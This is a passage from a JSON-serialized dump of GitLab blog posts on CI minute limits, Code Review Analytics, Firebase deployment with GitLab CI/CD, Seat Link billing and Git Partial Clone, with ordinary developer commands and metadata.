share on our [pricing page](https://about.gitlab.com/pricing/),\n\n> Pipeline minutes are the execution time for your pipelines on our shared runners. \n> Execution on your own runners will not increase your pipeline minutes count and is unlimited.\n\nPipeline minutes are a crucial part of what makes GitLab special.\n\n## Where did this come from?\n\nOne of our core values at GitLab is [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency).\nAs GitLab grows and matures as both a company and a product, we've [really focused on becoming a more efficient company](https://youtu.be/wrnWaYS7Fgo?t=275). \nThis includes making sure we're being efficient in our CI offerings. \n\nAs we work on some new improvements to CI, including Windows and MacOS runners, we evaluated usage by free users.\nFrom an internal analysis, we found that 95% of free users who used CI minutes in January 2020 used fewer than 1000 CI minutes.\nBut we're not talking about 1000 minutes, we're talking about twice that. \nAnd 2000 minutes is a lot of minutes.\nThat's over an hour of CI minutes every day. \n\nWe are constantly working to provide the most value to our community through GitLab.\nThe best way we can do that is by strengthening our open source offering, including [make any features open source that are eligible to be open source](/company/pricing/#if-a-feature-can-be-moved-down-do-it-quickly).\n\n## What if that's not enough minutes?!\n\nIf 2000 minutes isn't enough, free users can buy [additional CI minutes](https://docs.gitlab.com/ee/subscriptions/#purchasing-additional-ci-minutes).\n\nAlternatively, you can bring your own runners. \nYou can [run specific runners for any of your projects](https://docs.gitlab.com/runner/). \nWe only count minutes on the shared runners we provide on GitLab.com.\n\n## What's next?\n\nExcited about all the cool things that can be done with CI?\nMe too!\n\nHere are some other things coming down the pipeline in the next couple of releases:\n\n* [Dynamic child pipeline creation via artifact includes](https://gitlab.com/gitlab-org/gitlab/-/issues/35632)\n* [Autoscaling GitLab CI jobs on AWS Fargate (MVC)](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2972)\n* [Notifications for when pipelines are fixed](https://gitlab.com/gitlab-org/gitlab/-/issues/24309)\n",[110,4103,267,815],{"slug":24527,"featured":6,"template":678},"ci-minutes-for-free-users","content:en-us:blog:ci-minutes-for-free-users.yml","Ci Minutes For Free Users","en-us/blog/ci-minutes-for-free-users.yml","en-us/blog/ci-minutes-for-free-users",{"_path":24533,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24534,"content":24540,"config":24544,"_id":24546,"_type":16,"title":24547,"_source":17,"_file":24548,"_stem":24549,"_extension":20},"/en-us/blog/troubleshoot-delays-with-code-review-analytics",{"title":24535,"description":24536,"ogTitle":24535,"ogDescription":24536,"noIndex":6,"ogImage":24537,"ogUrl":24538,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24538,"schema":24539},"Troubleshoot delays with our Code Review Analytics tool","Introduced in GitLab 12.7, Code Review Analytics can help you dig deeper into slow-moving merge requests.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681140/Blog/Hero%20Images/code_review_analytics.png","https://about.gitlab.com/blog/troubleshoot-delays-with-code-review-analytics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Troubleshoot delays with our Code Review Analytics tool\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Ward\"}],\n        \"datePublished\": \"2020-03-18\",\n      }",{"title":24535,"description":24536,"authors":24541,"heroImage":24537,"date":24523,"body":24542,"category":736,"tags":24543},[23785],"\n\nModern software development moves fast. Development teams can fix issues and have a release deployed to customers within minutes, all fed through a continuous testing, build, and deployment process. Thanks to containerization, development teams can experiment with new techniques and technologies for particular application services, without affecting an application as a whole.\n\nBut with this speed and potential pace of change, it's easy to lose sight of what matters: Are any of these changes important for customers and their needs, or do they bring any business value? This is what [Value Stream Analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) hopes to answer.\n\nDrawing on lessons learned from the lean movement, delivery teams, engineering managers, and directors are applying \"[value stream mapping](https://en.wikipedia.org/wiki/Value-stream_mapping)\" to understand and optimize delivery of value, from the time an idea is born to its impact on the business in production. GitLab's analytics capabilities provide near real-time insights into the flow of value through the team's value stream without requiring complex system integrations, configuration, or add-on tools.\n\nAt the highest project overview level Value Stream Analytics ([since GitLab 12.3](/releases/2019/09/22/gitlab-12-3-released/#analytics-workspace), and previously called \"cycle analytics\") helps measure the velocity of development cycles in your team, and the time it takes them from planning to monitoring for each project. Currently, it tracks the seven stages to make calculations, and the associated feature:\n\n-   **Issue (Tracker)**: Time to schedule an issue (by milestone or by adding it to an issue board)\n-   **Plan (Board)**: Time to first commit\n-   **Code (IDE)**: Time to create a merge request\n-   **Test (CI)**: Time it takes GitLab CI/CD to test your code\n-   **Review (Merge Request/MR)**: Time spent on code review. Measures the median time taken to review the merge request that has the closing issue pattern, between its creation and until it's merged.\n-   **Staging (Continuous Deployment)**: Time between merging and deploying to production\n-   **Total (Total)**: Total lifecycle time. That is the velocity of the project or team. Previously known as production.\n\nIf the Value Stream Analytics feature shows that reviews are your team's most time-consuming step or your team agrees that code review is moving too slowly, then it's time to dig deeper. [GitLab 12.7](/releases/2020/01/22/gitlab-12-7-released/#code-review-analytics) introduced [Code Review Analytics](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html) to help you dig deeper into slow-moving merge requests and understand what is causing delays. \n\nIn our 2019 and 2020 [developer surveys](/developer-survey/), delays in code review featured near the top of developer process painpoints. Code review is not as time consuming as testing (the unanimous winner in 2019 and 2020), but respondents aknowledged they need more help to speed up the code reviews. This initial release of Code Review Analytics is a first step toward providing greater insight into delays and bottlenecks during the code review process.\n\nYou can find the Code Review dashboard under the menu for your project, then _Project Analytics > Code Review_. The view is a table of open merge requests with at least one non-author comment, and review time is measured from the first non-author comment. You can also see a summary of the changes introduced by the merge request, the number of comments, commits, and the approvers needed. The default sort order is from the oldest merge request, but you can filter results using the search box above the table. By highlighting aged Code Reviews, teams are encouraged to complete work-in-process rather than picking up new items from the backlog and to dispose of the \"inventory\" waste of unmerged commits.\n\n![Code analytics dashboard](https://about.gitlab.com/images/blogimages/code_review_analytics.png){: .shadow.medium.center}\n\nClicking the title of the merge request takes you to a normal merge request view where you can recap the discussions and activity so far to debug problems such as:\n\n-   If there are many comments or commits, perhaps the code is too complex.\n-   If a particular author is involved, maybe more training is required.\n-   If no or few comments and approvers appear, your team may be understaffed or may be in the habit of starting new work instead of assisting teammates to close MRs and deliver features.\n\nWe will be bringing improvements and more features to code review analytics over the coming months, and in the meantime we welcome your feedback.\n\n### About the guest author\n\n_Chris is a freelance technical communicator for numerous developer-focused companies. Happy creating text, videos, courses, and interactive learning experiences, in his spare time he writes games and interactive fiction._\n",[1207,754,676],{"slug":24545,"featured":6,"template":678},"troubleshoot-delays-with-code-review-analytics","content:en-us:blog:troubleshoot-delays-with-code-review-analytics.yml","Troubleshoot Delays With Code Review Analytics","en-us/blog/troubleshoot-delays-with-code-review-analytics.yml","en-us/blog/troubleshoot-delays-with-code-review-analytics",{"_path":24551,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24552,"content":24557,"config":24562,"_id":24564,"_type":16,"title":24565,"_source":17,"_file":24566,"_stem":24567,"_extension":20},"/en-us/blog/gitlab-ci-cd-with-firebase",{"title":24553,"description":24554,"ogTitle":24553,"ogDescription":24554,"noIndex":6,"ogImage":17364,"ogUrl":24555,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24555,"schema":24556},"How to leverage GitLab CI/CD for Google Firebase","Firebase is a powerful backend-as-a-service tool and when combined with GitLab it can be easy to enable continuous deployment of database, serverless and apps.","https://about.gitlab.com/blog/gitlab-ci-cd-with-firebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to leverage GitLab CI/CD for Google Firebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-03-16\",\n      }",{"title":24553,"description":24554,"authors":24558,"heroImage":17364,"date":24559,"body":24560,"category":734,"tags":24561},[11790],"2020-03-16","\n\nBuilding mobile apps can be painful - especially when it comes to finding a way to provide all the tooling needed to make the application feasible without becoming an expert in many different disciplines. [Firebase from Google](https://firebase.google.com/) aims to take away that burden by providing an app deployment platform and a BaaS or Backend-as-a-Service. While the offerings can vary greatly, most BaaS providers include a database, object storage, push notifications and some sort of hosting package. Firebase goes beyond this and provides user authentication built-in as well as [serverless](/topics/serverless/) functions, telemetry, and Google tools for growth.  \n\nThose tools are very appealing to mobile and even web-app developers and Firebase has been successful in that market with customers including The New York Times, Lyft and Duolingo just to name a few. But even with all of the fantastic BaaS tools Firebase brings to bear on a project, it is critical to have source code management and [CI/CD tools](/topics/ci-cd/) to match. As Firebase configuration for important settings such as database security, serverless functions, and hosting can all be stored “as-code” inside your application’s repository, GitLab paired with Firebase can make for a powerful duo.\n\n## Our app\n\nOur application will be a relatively simple link shortener for use with the domain [labwork.dev](https://labwork.dev). In order to build a link shortener, we’ll need the ability to log users in, a database for storing the links and a way to redirect folks coming with the short links to the longer website. Firebase comes with these items packaged together - which should make it relatively painless to stand up (famous last words right?).\n\nI plan on covering the application in more detail in the future, or if you want to jump to the end you can find the [completed project here](https://gitlab.com/brendan-demo/labwork/homepage/). For now, I wanted to at least introduce the architecture plan. I’ll use [Vue.js](https://vuejs.org) for the frontend. Vue.js is a web application that lets users log in using Firebase Authentication. Once logged in, users will have access to a form that allows them to create new short URLs. That form will call a Firebase Function that checks to see if the shortcode requests already exist (or create a random hash if not specified). If the shortcode is unique, the function adds the shortcode and longer URL to the `urls` collection in Firestore and returns okay.  \n\nOnce the shortcode is in the database, I’ll use another cloud function to retrieve the long URL associated with it. Firestore has a great feature that allows you to redirect traffic based on a pattern to a specified function, and I’ll use this so that anything that comes to `/go/{shortcode}` gets magically redirected to the correct long URL.\n\n![Basic Architecture Diagram](https://about.gitlab.com/images/blogimages/firebase_01.png){: .shadow.large.center}\n\n## Add Firebase to the project\n\nOnce we have this architecture finalized, and have built the skeleton of the project and are ready to start deploying and testing, it’s time to add Firebase to our project. Firebase provides a [very helpful CLI tool](https://github.com/firebase/firebase-tools) for getting started here and we’ll use that to begin.\n\nThe first command `firebase init` starts the project initialization process.\n\n![Output of firebase init command](https://about.gitlab.com/images/blogimages/firebase_02.png){: .shadow.large.center}\n\nFrom there, you can select which services you want to use with this project. You’ll also be able to decide to create a new Firebase project, or use one you previously created in the [Firebase console](https://console.firebase.google.com/). You also can select where to store the configuration files. I’ll add a folder called `firebase-config` to store all of these files. Now you are able to source control all changes to your Firebase architecture - from indexes to security rules - all in the same repository as your project.\n\n![Firebase config files](https://about.gitlab.com/images/blogimages/firebase_03.png){: .shadow.large.center}\n\nYou can see all of the changes required to add Firebase to the project [in this merge request](https://gitlab.com/brendan-demo/labwork/homepage/-/merge_requests/1).\n\n## Deploy project to Firebase\n\nNow that Firebase is installed in our project folder and configured, we’re ready to deploy for the first time. In order to deploy the Vue.js portion of the project, we first need to build it to production HTML, CSS and Javascript. So before deployment, run the `yarn build` command.  This will output the build to the `dist` folder by default, and I’ve configured Firebase to recognize that directory as the hosting direction in the `firebase.json`.\n\n![Firebase.json example](https://about.gitlab.com/images/blogimages/firebase_04.png){: .shadow.large.center}\n\nOnce the project is built, running a simple `firebase deploy` will deploy ALL of the features of the project to Firebase: the security rules and indexes for Firestore, the Firebase Functions and the Vue.js project to Firebase Hosting.\n\nIf desired, we can also chose to deploy just a particular part of the project with the `--only` flag. For example, to only deploy a new version of the functions, we can say \n\n`firebase deploy --only functions`\n\nThis is a feature that we’ll combine with GitLab CI/CD in the next step to make our deployments as efficient as possible.\n\n## Automate deployments with GitLab CI/CD\n\nNow that we have the project deploying, we can automate that deploy process so that we don’t have to be at our computer authenticated to Firebase in order to deploy new changes. The steps to automate the deploy are relatively painless and include: (1) acquire a Firebase API key to use during deployment, (2) setup the `.gitlab-ci.yml` file to install the firebase CLI before running any other steps and (3) issue the deployment commands for each part of the infrastructure depending on the change in a particular commit to the main branch.\n\nFirst, we need an API key so that GitLab CI/CD can authenticate to Firebase and perform the deploy. To get the API key, we can run `firebase login:ci` from the same place we were deploying the application previously. This will provide a key that looks something like `` which we’ll add to GitLab.\n\nWhen you enter `firebase login:ci`, open the URL provided in your browser. That will open a Google authentication page; then log in with your Google account and click `Allow`.  Then return to the terminal and you’ll see the authentication code.\n\n![Output of firebase login:ci command](https://about.gitlab.com/images/blogimages/firebase_05.png){: .shadow.large.center}\n\nOnce you’ve successfully authenticated and obtained the token, go to your project on GitLab and go to Settings -> CI/CD -> Variables. Here’s where we’ll add the token as an environmental variable to be used in our deployment jobs. The key is `FIREBASE_TOKEN` and then the value is the token that was printed to your terminal. I’ve made mine both a [protected](https://docs.gitlab.com/ee/ci/variables/#protected-environment-variables) and [masked](https://docs.gitlab.com/ee/ci/variables/#masked-variables) variable. That means the variable will only be exposed to protected branches and if it’s accidentally echoed to the job output, GitLab will hide it from leaking into there.\n\n![Varaiable configuration screen in GitLab](https://about.gitlab.com/images/blogimages/firebase_06.png){: .shadow.large.center}\n\nNow we can start on the configuration for our `.gitlab-ci.yml`.  At the top of the file I’m going to set the default image to be the current node alpine image from Docker hub:\n\n```yaml\nimage: node:12.13.0-alpine\n```\n\nNext, I’ll create a `before_script` that will install the firebase CLI before running any jobs in the file. In the future, I could bundle that CLI into my own custom Docker image to avoid doing this every time, but for now I’ll go with the boring solution.\n\n```yaml\nbefore_script:\n  - npm i -g firebase-tools\n```\n\nFor the build steps, I want to create a separate job for each part of the infrastructure: Firestore, Functions and the Vue app into Firebase Hosting. To do this, I’m going to utilize the ﻿﻿[`only:`](https://docs.gitlab.com/ee/ci/yaml/#only--except) feature to only deploy that part of the infrastructure impacted by changes and that have been merged to master. For example, we’ll only deploy the Firebase Functions when something changes in the `/functions` on the `master` branch\n\n```yaml\ndeploy-functions:\n  stage: deploy\n  script:\n    - cd functions\n    - npm install\n    - cd ..\n    - firebase deploy --only functions --token $FIREBASE_TOKEN\n  only:\n    refs:\n      - master\n    changes:\n      - functions/**/*\n```\nWe’ll repeat this same pattern for both Firestore and the Hosting project, adding the `yarn build` step before deploying hosting each time. Once that’s completed, every time a merge request is accepted, GitLab CI/CD will automatically deploy the changes into our live production application. You can view the [completed `.gitlab-ci.yml` here](https://gitlab.com/brendan-demo/labwork/homepage/-/blob/master/.gitlab-ci.yml), or check out the link shortener for yourself (and try and [Rick Roll](https://labwork.dev/go/30201a) your friends at [labwork.dev](https://labwork.dev)).\n",[110,3949,232],{"slug":24563,"featured":6,"template":678},"gitlab-ci-cd-with-firebase","content:en-us:blog:gitlab-ci-cd-with-firebase.yml","Gitlab Ci Cd With Firebase","en-us/blog/gitlab-ci-cd-with-firebase.yml","en-us/blog/gitlab-ci-cd-with-firebase",{"_path":24569,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24570,"content":24576,"config":24581,"_id":24583,"_type":16,"title":24584,"_source":17,"_file":24585,"_stem":24586,"_extension":20},"/en-us/blog/how-were-improving-self-managed-billing",{"title":24571,"description":24572,"ogTitle":24571,"ogDescription":24572,"noIndex":6,"ogImage":24573,"ogUrl":24574,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24574,"schema":24575},"How we’re improving self-managed billing","GitLab is introducing Seat Link in our 12.9 release to make renewals easier for our self-managed customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679112/Blog/Hero%20Images/golden-gate.jpg","https://about.gitlab.com/blog/how-were-improving-self-managed-billing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re improving self-managed billing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Karampalas\"}],\n        \"datePublished\": \"2020-03-16\",\n      }",{"title":24571,"description":24572,"authors":24577,"heroImage":24573,"date":24559,"body":24579,"category":736,"tags":24580},[24578],"Michael Karampalas","\n> **2020-04-01 UPDATE:** Based on feedback from the community, we have provided a way to [disable Seat Link](https://docs.gitlab.com/ee/subscriptions/#disable-seat-link). Thank you all for your feedback and for helping to make GitLab a better product for everyone. \n\nGitLab is excited to announce that we'll be introducing [Seat Link](https://docs.gitlab.com/ee/subscriptions/#seat-link) in 12.9 to help our self-managed customers add more users to their GitLab instance as their companies grow along with their user base. Historically, our renewal process has been overly complicated and confusing for one reason: True-ups.\n\n## The trouble with true-ups\n\nWhat’s a true-up? A true-up is a one-time charge at the time of renewal that accounts for the users added to an instance above the original subscription amount. As an example, if a company's subscription was originally for 100 users but the company grew to 125 over the course of the year, at renewal the company would owe for 12-months of usage for the extra 25, regardless of when in the year the users were added.\n\nTrue-ups were required because GitLab could not collect current information about self-managed user counts and growth. Our team could not determine if a customer had added users; when those users were added, and whether the customer is within their license. As a result, with each renewal customers had to pay for the full 12 months of users added since their previous renewal. We realize this is not ideal.\n\nWe had no way to prorate these charges, and the process relied on customers providing user counts, which is additional, manual work and has led to errors and confusion in the past.\n\n## Seat Link is our solution\n\nThat’s why we are excited to introduce [Seat Link](https://docs.gitlab.com/ee/subscriptions/#seat-link) with our upcoming 12.9 release.\n\nSeat Link is our first step toward providing self-managed customers with more transparent, prorated charges for user growth throughout the year. By using Seat Link, GitLab can automatically charge a prorated amount each quarter for users added to a self-managed instance.\n\nSeat Link means our customers no longer have to pull out the calculator for confusing math when their subscription renews, and there will be no more surprises, and most importantly, no more true-ups!\n\n### How Seat Link works\n\nEach day, Seat Link sends GitLab a count of all the users in connected, self-managed instances. The daily count means we have the information necessary to automate prorated reconciliations. By automating the user count process, we shift the burden of accounting for all users from our self-managed customers to GitLab. These data will be sent securely through an encrypted HTTPS connection:\n\n* Date\n* Historical maximum user count\n* Active user count\n* License key\n\nSee an [example of the POST request](https://docs.gitlab.com/ee/subscriptions/#seat-link) in our docs.\n\nSeat Link will be minimal and non-configurable, making it simpler for as many customers as possible to use. However, air-gapped or closed network customers will not be able to use Seat Link at this time, and we will continue using the existing true-up model.\n\nSeat Link will be available in GitLab 12.9, but we will not start processing prorated charges until a future date, with a tentative target of 12.10.\n\nQuestions? Concerns? Please join the discussion and [contribute to our epic](https://gitlab.com/groups/gitlab-org/-/epics/2747).\n\nCover image by [Modestas Urbonas](https://unsplash.com/@modestasu) on [Unsplash](https://unsplash.com/photos/vj_9l20fzj0)\n{: .note}\n",[676],{"slug":24582,"featured":6,"template":678},"how-were-improving-self-managed-billing","content:en-us:blog:how-were-improving-self-managed-billing.yml","How Were Improving Self Managed Billing","en-us/blog/how-were-improving-self-managed-billing.yml","en-us/blog/how-were-improving-self-managed-billing",{"_path":24588,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24589,"content":24595,"config":24601,"_id":24603,"_type":16,"title":24604,"_source":17,"_file":24605,"_stem":24606,"_extension":20},"/en-us/blog/partial-clone-for-massive-repositories",{"title":24590,"description":24591,"ogTitle":24590,"ogDescription":24591,"noIndex":6,"ogImage":24592,"ogUrl":24593,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24593,"schema":24594},"How Git Partial Clone lets you fetch only the large file you need","Work faster with this experimental Partial Clone feature for huge Git repositories, saving you time, bandwidth, and storage, one large file at a time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681131/Blog/Hero%20Images/partial-clone-for-massive-repositories.jpg","https://about.gitlab.com/blog/partial-clone-for-massive-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Git Partial Clone lets you fetch only the large file you need\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"}],\n        \"datePublished\": \"2020-03-13\",\n      }",{"title":24590,"description":24591,"authors":24596,"heroImage":24592,"date":24598,"body":24599,"category":813,"tags":24600},[24597],"James Ramsay","2020-03-13","\n\nThe Git project began nearly 15 years ago, on [April 7,\n2005](https://marc.info/?l=linux-kernel&m=111288700902396), and is now the\n[version control system](/topics/version-control/) of choice for developers. Yet, there are certain types of projects that\noften do not use Git, particularly projects that have many large binary files,\nsuch as video games. One reason projects with large binary files don't use Git\nis because, when a Git repository is cloned, Git will download every version of\nevery file in the repo. For most use cases, downloading this history is a\nuseful feature, but it slows cloning and fetching for projects with large binary\nfiles, assuming the project even fits on your computer.\n\n## What is Partial Clone?\n\nPartial Clone is a new feature of Git that replaces [Git\nLFS](https://git-lfs.github.com/) and makes working with very large repositories\nbetter by teaching Git how to work without downloading every file. Partial Clone\nhas been\n[years](https://public-inbox.org/git/xmqqeg4o27zw.fsf@gitster.mtv.corp.google.com/)\nin the making, with code contributions from GitLab, GitHub, Microsoft and\nGoogle. Today it is experimentally available in Git and GitLab, and can be\nenabled by administrators\n([docs](https://docs.gitlab.com/ee/topics/git/partial_clone.html)).\n\nPartial Clone speeds up fetching and cloning because less data is\ntransferred, and reduces disk usage on your local computer. For example, cloning\n[`gitlab-com/www-gitlab-com`](https://gitlab.com/gitlab-com/www-gitlab-com)\nusing Partial Clone (`--filter=blob:none`) is at least 50% faster, and transfers\n70% less data.\n\nNote: Partial Clone is one specific performance optimization for very large\nrepositories. [Sparse\nCheckout](https://github.blog/2020-01-17-bring-your-monorepo-down-to-size-with-sparse-checkout/)\nis a related optimization that is particularly focused on repositories with\ntremendously large numbers of files and revisions such as\n[Windows](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/)\ncode base.\n\n## A brief history of large files\n\n\"What about Git LFS?\" you may ask. Doesn't LFS stand for \"large file storage\"?\n\nPreviously, extra tools were required to store large files in Git. In 2010,\n[git-annex](https://git-annex.branchable.com/) was released, and five years\nlater in 2015, [Git LFS](https://git-lfs.github.com/) was released. Both\ngit-annex and Git LFS added large file support to Git in a similar way: Instead\nof storing a large file in Git, store a pointer file that links to the large\nfile. Then, when someone needs a large file, they can download it on-demand\nusing the pointer.\n\nThe criticism of this approach is that there are now two places to store files,\nin Git or in Git LFS. Which means that everyone must remember that big files need\nto go in Git LFS to keep the Git repo small and fast. There are downsides to\nthis approach. Besides being susceptible to human error, the pointer encodes\ndecisions based on bandwidth and file type into the structure of the repository\nthat influence all the people using the repository. Our assumptions about\nbandwidth and storage are likely to change over time, and vary by the location,\nbut decisions encoded in the repository are not flexible. Administrators and\ndevelopers alike benefit from flexibility in where to store large files, and\nwhich files to download.\n\nPartial Clone solves these problems by removing the need for two classes of\nstorage, and special pointers. Let's walk through an example to understand how.\n\n## How to get started with Partial Clone\n\nLet's continue to use `gitlab-com/www-gitlab-com` as an example project, since\nit has quite a lot of images. For a larger repository, like a video game with\ndetailed textures and models that could take up a lot of disk space, the benefits will be even more significant.\n\nInstead of a vanilla `git clone`, we will include a filter spec which controls\nwhat is excluded when fetching data. In this situation, we just want to exclude\nlarge binary files. I've included `--no-checkout` so we can more clearly observe\nwhat is happening.\n\n```bash\ngit clone --filter=blob:none --no-checkout git@gitlab.com/gitlab-com/www-gitlab-com.git\n# Cloning into 'www-gitlab-com'...\n# remote: Enumerating objects: 624541, done.\n# remote: Counting objects: 100% (624541/624541), done.\n# remote: Compressing objects: 100% (151886/151886), done.\n# remote: Total 624541 (delta 432983), reused 622339 (delta 430843), pack-reused 0\n# Receiving objects: 100% (624541/624541), 74.61 MiB | 8.14 MiB/s, done.\n# Resolving deltas: 100% (432983/432983), done.\n\n```\n\nAbove we explicitly told Git not to checkout the default branch. Normally\n`checkout` doesn't require fetching any data from the server, because we have\neverything locally. When using Partial Clone, since we are deliberately not downloading everything, Git will need to fetch any missing files when doing a\ncheckout.\n\n```bash\ngit checkout master\n# remote: Enumerating objects: 12080, done.\n# remote: Counting objects: 100% (12080/12080), done.\n# remote: Compressing objects: 100% (11640/11640), done.\n# remote: Total 12080 (delta 442), reused 9773 (delta 409), pack-reused 0\n# Receiving objects: 100% (12080/12080), 1.10 GiB | 8.49 MiB/s, done.\n# Resolving deltas: 100% (442/442), done.\n# Updating files: 100% (12342/12342), done.\n# Filtering content: 100% (3/3), 131.24 MiB | 4.73 MiB/s, done.\n```\n\nIf we checkout a different branch or commit, we'll need to download more missing\nfiles.\n\n```bash\ngit checkout 92d1f39b60f957d0bc3c5621bb3e17a3984bdf72\n# remote: Enumerating objects: 1968, done.\n# remote: Counting objects: 100% (1968/1968), done.\n# remote: Compressing objects: 100% (1953/1953), done.\n# remote: Total 1968 (delta 23), reused 1623 (delta 15), pack-reused 0\n# Receiving objects: 100% (1968/1968), 327.44 MiB | 8.83 MiB/s, done.\n# Resolving deltas: 100% (23/23), done.\n# Updating files: 100% (2255/2255), done.\n# Note: switching to '92d1f39b60f957d0bc3c5621bb3e17a3984bdf72'.\n```\n\nGit remembers the filter spec we provided when cloning the repository so that\nfetching updates will also exclude large files until we need them.\n\n```bash\ngit config remote.origin.promisor\n# true\n\ngit config remote.origin.partialclonefilter\n# blob:none\n```\n\nWhen committing changes, you simply commit binary files like you would any other\nfile. There is no extra tool to install or configure, no need to treat big files\ndifferently to small files.\n\n## Network and Storage\n\nIf you are already using [Git LFS](https://git-lfs.github.com/) today, you might\nbe aware that large files are stored and transferred differently to regular Git\nobjects. On GitLab.com, Git LFS objects are stored in object storage (like AWS\nS3) rather than fast attached storage (like SSD), and transferred over HTTP even\nwhen using SSH for regular Git objects. Using object storage has the advantage\nof reducing storage costs for large binary files, while using simpler HTTP\nrequests for large downloads allows the possibility of resumable and parallel\ndownloads.\n\nPartial Clone\n[already](https://public-inbox.org/git/20190625134039.21707-1-chriscool@tuxfamily.org/)\nsupports more than one remote, and work is underway to allow large files to be\nstored in a different location such as object storage. Unlike Git LFS, however,\nthe repository or instance administrator will be able to choose which objects\nshould be stored where, and change this configuration over time if needed.\n\nFollow the epic for [improved large file\nstorage](https://gitlab.com/groups/gitlab-org/-/epics/1487) to learn more and\nfollow our progress.\n\n## Performance\n\nWhen fetching new objects from the Git server using a [filter\nspec](https://github.com/git/git/blob/v2.25.0/Documentation/rev-list-options.txt#L735)\n to exclude objects from the response, Git will check each object and exclude\n any that match the filter spec. In [Git\n 2.25](https://raw.githubusercontent.com/git/git/master/Documentation/RelNotes/2.25.0.txt),\n the most recent version, filtering has not been optimized for performance.\n\n[Jeff King (Peff)](https://github.com/peff/) (GitHub) recently\n[contributed](https://public-inbox.org/git/20200214182147.GA654525@coredump.intra.peff.net/)\nperformance improvements for blob size filtering, which will likely be included\nin [Git 2.26](https://gitlab.com/gitlab-org/gitaly/issues/2497), and our plan is\nto include it in GitLab 12.10 release.\n\nOptimizing the sparse filter spec option (`--filter:sparse`), which filters\nbased on file path is more complex because blobs, which contain the file\ncontent, do not include file path information. The directory structure of a\nrepository is stored in tree objects.\n\nFollow the epic for [Partial Clone performance\nimprovements](https://gitlab.com/groups/gitlab-org/-/epics/1671) to learn more\nand follow our progress.\n\n## Usability\n\nOne of the drawbacks of Git LFS was that it required installing an additional\ntool. In comparison, Partial Clone does not require any additional tools.\nHowever, it does require learning new options and configurations, such as to\nclone using the `--filter` option.\n\nWe want to make it easy for people get their work done, who simply desire Git to\njust work. They shouldn't need to work out which is the optimal blob size filter\nspec for a project? Or what even is a filter spec?  While Partial Clone remains\nexperimental, we haven't made any changes to the GitLab interface to highlight\nPartial Clone, but we are investigating this and welcome your feedback. Please\njoin the conversation on this\n[issue](https://gitlab.com/gitlab-org/gitlab/issues/207744).\n\n## File locking and tool integrations\n\nAny conversation of large binary files, particularly in regards to video\ngames is incomplete without discussing file locking and tooling integrations.\n\nUnlike plain text [source code](/solutions/source-code-management/), resolving conflicts between different versions of\na binary file is often impossible. To prevent conflicts in binary file editing,\nan exclusive file lock is used, meaning only one person at a time can edit a\nsingle file, regardless of branches. If conflicts can't be resolved, allowing multiple\nversions of a individual file to be created in parallel on different branches is a bug, not\na feature. GitLab already has basic file locking support, but it is really only\nuseful for plain text because it only applies to the default branch, and is not\nintegrated with any local tools.\n\nLocal tooling integrations are important for binary asset workflows, to\nautomatically propagate file locks to the local development environment, and to\nallow artists to work on assets without needing to use Git from the command\nline. Propagating file locks quickly to local development environments is also\nimportant because it prevents work from being wasted before it even happens.\n\nFollow the [file locking](https://gitlab.com/groups/gitlab-org/-/epics/1488) and\n[integrations](https://gitlab.com/groups/gitlab-org/-/epics/2704) epics for more\ninformation about what we're working on.\n\n## Conclusion\n\nLarge files are necessary for many projects, and Git will soon support this\nnatively, without the need for extra tools. Although Partial Clone is still an\nexperimental feature, we are making improvements with every release and the\nfeature is now ready for testing.\n\nThank you to the Git community for your work over the past years on improving\nsupport for enormous repositories. Particularly, thank you to [Jeff\nKing](https://github.com/peff/) (GitHub) and [Christian\nCouder](https://about.gitlab.com/company/team/#chriscool) (senior backend\nengineer on Gitaly at GitLab) for your early experimentation with Partial Clone,\nJonathan Tan (Google) and [Jeff Hostetler](https://github.com/jeffhostetler)\n(Microsoft) for contributing the [first\nimplementation](https://public-inbox.org/git/cover.1506714999.git.jonathantanmy@google.com/)\nof Partial Clone and promisor remotes, and the many others who've also\ncontributed.\n\nIf you are already using Partial Clone, or would like to help us test Partial\nClone on a large project, please get in touch with me, [James\nRamsay](https://about.gitlab.com/company/team/#jramsay) (group manager, product\nfor Create at GitLab), [Jordi\nMon](https://about.gitlab.com/company/team/#jordi_mon) (senior product marketing\nmanager for Dev at GitLab), or your account manager.\n\nFor more information on Partial Clone, check out [the documentation](https://docs.gitlab.com/ee/topics/git/partial_clone.html).\n\nCover image by [Simon Boxus](https://unsplash.com/@simonlerouge) on\n[Unsplash](https://unsplash.com/photos/4ftI4lCcByM)\n{: .note}\n",[1067,1268],{"slug":24602,"featured":6,"template":678},"partial-clone-for-massive-repositories","content:en-us:blog:partial-clone-for-massive-repositories.yml","Partial Clone For Massive 